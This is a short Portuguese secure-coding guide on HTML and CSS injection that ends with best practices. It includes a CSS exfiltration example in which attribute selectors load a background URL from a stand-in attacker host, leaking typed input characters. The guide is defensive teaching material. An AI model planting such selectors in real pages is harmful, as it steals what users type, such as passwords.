Injeções de HTML e CSS
Ataques de injeção buscam alterar a estrutura visual ou o comportamento da página injetando código que não deveria ser processado como tal.
1. HTML Injection
Similar ao XSS, mas focado em alterar a aparência ou inserir links de phishing em vez de executar scripts maliciosos. Um atacante pode injetar uma tag <a> que se sobrepõe a um botão legítimo para capturar o clique do usuário.
2. CSS Injection
Injetar estilos maliciosos que podem alterar a visibilidade de elementos ou até extrair dados através de seletores sensíveis a atributos.
- Exemplo de exfiltração de dados:
css
input[value^="a"] { background: url('https://atacker.com/log?key=a'); }
input[value^="b"] { background: url('https://atacker.com/log?key=b'); }Neste exemplo, o navegador faz uma requisição para o servidor do atacante toda vez que um caractere digitado no input coincide com o seletor.
Melhores Práticas
✅ Como fazer
- Sanitize qualquer entrada do usuário que será renderizada, mesmo que seja apenas "texto formatado".
- Use o Content Security Policy (CSP) para restringir de onde os estilos podem ser carregados (
style-src).
❌ Como não fazer
- Não permita que usuários injetem estilos inline (
style="...") ou tags<style>sem uma limpeza rigorosa.